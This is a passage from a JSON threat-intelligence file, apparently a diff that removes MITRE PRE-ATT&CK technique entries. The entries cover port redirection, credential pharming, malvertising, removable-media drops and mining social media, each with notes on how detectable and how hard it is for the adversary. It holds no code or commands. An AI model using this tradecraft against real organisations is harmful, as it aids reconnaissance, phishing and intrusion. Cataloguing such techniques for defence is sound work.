"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011" - ] - }, - "uuid": "e754fa49-2db1-416b-92db-7f886decd099" - }, - { - "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", - "value": "Port redirector - PRE-T1140", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140" - ] - }, - "uuid": "13ff5307-b650-405a-9664-d8076930b2bf" - }, - { - "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.", - "value": "Identify business processes/tempo - PRE-T1057", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057" - ] - }, - "uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f" - }, - { - "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.", - "value": "Build and configure delivery systems - PRE-T1124", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124" - ] - }, - "uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3" - }, - { - "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", - "value": "Identify personnel with an authority/privilege - PRE-T1048", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048" - ] - }, - "uuid": "762771c2-3675-4535-88e9-b1f891758974" - }, - { - "description": "An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest]. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design. Application of privacy settings is not a panacea.", - "value": "Mine social media - PRE-T1050", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050" - ] - }, - "uuid": "695b1cce-57d7-49ae-a2af-820d50153f12" - }, - { - "description": "Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.", - "value": "Credential pharming - PRE-T1151", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151" - ] - }, - "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4" - }, - { - "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Identify gap areas - PRE-T1002", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002" - ] - }, - "uuid": "d778cb83-2292-4995-b006-d38f52bc1e64" - }, - { - "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.", - "value": "OS-vendor provided communication channels - PRE-T1167", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167" - ] - }, - "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2" - }, - { - "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.", - "value": "Identify job postings and needs/gaps - PRE-T1055", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055" - ] - }, - "uuid": "7718e92f-b011-4f88-b822-ae245a1de407" - }, - { - "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", - "value": "Conduct social engineering - PRE-T1056", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056" - ] - }, - "uuid": "a757670d-d600-48d9-8ae9-601d42c184a5" - }, - { - "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", - "value": "Identify supply chains - PRE-T1053", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053" - ] - }, - "uuid": "7860e21e-7514-4a3f-8a9d-56405ccfdb0c" - }, - { - "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Identify analyst level gaps - PRE-T1010", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010" - ] - }, - "uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb" - }, - { - "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", - "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1111", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111" - ] - }, - "uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b" - }, - { - "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.", - "value": "Obfuscate infrastructure - PRE-T1086", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086" - ] - }, - "uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6" - }, - { - "description": "Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn't always require an action by a user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.", - "value": "Deploy exploit using advertising - PRE-T1157", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157" - ] - }, - "uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1" - }, - { - "description": "A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.", - "value": "Map network topology - PRE-T1029", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029" - ] - }, - "uuid": "cdfdb0cd-a839-403c-9dd6-8a85d8c5c73d" - }, - { - "description": "Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.", - "value": "Obfuscation or cryptography - PRE-T1090", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090" - ] - }, - "uuid": "c2ffd229-11bb-4fd8-9208-edbe97b14c93" - }, - { - "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.", - "value": "Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168" - ] - }, - "uuid": "7a265bf0-6acc-4f43-8b22-2e58b443e62e" - }, - { - "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).", - "value": "Spear phishing messages with text only - PRE-T1145", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145" - ] - }, - "uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17" - }, - { - "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.", - "value": "Test callback functionality - PRE-T1133", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133" - ] - }, - "uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6" - }, - { - "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Cannot detect access to public sites.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.", - "value": "Mine technical blogs/forums - PRE-T1034", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034" - ] - }, - "uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0" - }, - { - "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).", - "value": "Automated system performs requested action - PRE-T1161", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161" - ] - }, - "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729" - }, - { - "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.", - "value": "Obtain/re-use payloads - PRE-T1123", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123" - ] - }, - "uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768" - }, - { - "description": "Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generates no network traffic that would enable detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.", - "value": "Conduct passive scanning - PRE-T1030", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030" - ] - }, - "uuid": "a7c620e5-cbc9-41b2-9695-418ef560f16c" - }, - { - "description": "Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.", - "value": "Analyze social and business relationships, interests, and affiliations - PRE-T1072", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072" - ] - }, - "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d" - }, - { - "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained", - "value": "Network-based hiding techniques - PRE-T1092", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092" - ] - }, - "uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5" - }, - { - "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.", - "value": "Friend/Follow/Connect to targets of interest - PRE-T1121", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121" - ] - }, - "uuid": "103d72e6-7e0d-4b3a-9373-c38567305c33" - }, - { - "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.", - "value": "Disseminate removable media - PRE-T1156", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156" - ] - }, - "uuid": "2f442206-2983-4fc2-93fd-0a828e026412" - }, - { - "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.", - "value": "Replace legitimate binary with malware - PRE-T1155", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155" - ] - }, - "uuid": "0d759854-9b69-438c-8325-74b03cc80cf0" - }, - { - "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.", - "value": "Acquire OSINT data sets and information - PRE-T1054", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054" - ] - }, - "uuid": "028ad431-84c5-4eb7-a364-2b797c234f88" - }, - { - "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.", - "value": "Secure and protect infrastructure - PRE-T1094", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094" - ] - }, - "uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad" - }, - { - "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.", - "value": "Determine firmware version - PRE-T1035", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035" - ] - }, - "uuid": "6baf6388-d49f-4804-86a4-5837240555cd" - }, - { - "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes", - "value": "Develop KITs/KIQs - PRE-T1004", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004" - ] - }, - "uuid": "6063b486-a247-499b-976a-9de16f4e83bc" - }, - { - "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.", - "value": "Research relevant vulnerabilities/CVEs - PRE-T1068", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068" - ] - }, - "uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a" - }, - { - "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.", - "value": "Determine 3rd party infrastructure services - PRE-T1061", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061" - ] - }, - "uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05" - }, - { - "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.", - "value": "Untargeted client-side exploitation - PRE-T1147", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147" - ] - }, - "uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af" - }, - { - "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", - "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1089", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089" - ] - }, - "uuid": "4900fabf-1142-4c1f-92f5-0b590e049077" - }, - { - "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.", - "value": "Discover target logon/email address format - PRE-T1032", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032" - ] - }, - "uuid": "ef0f816a-d561-4953-84c6-2a2936c96957" - }, - { - "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to 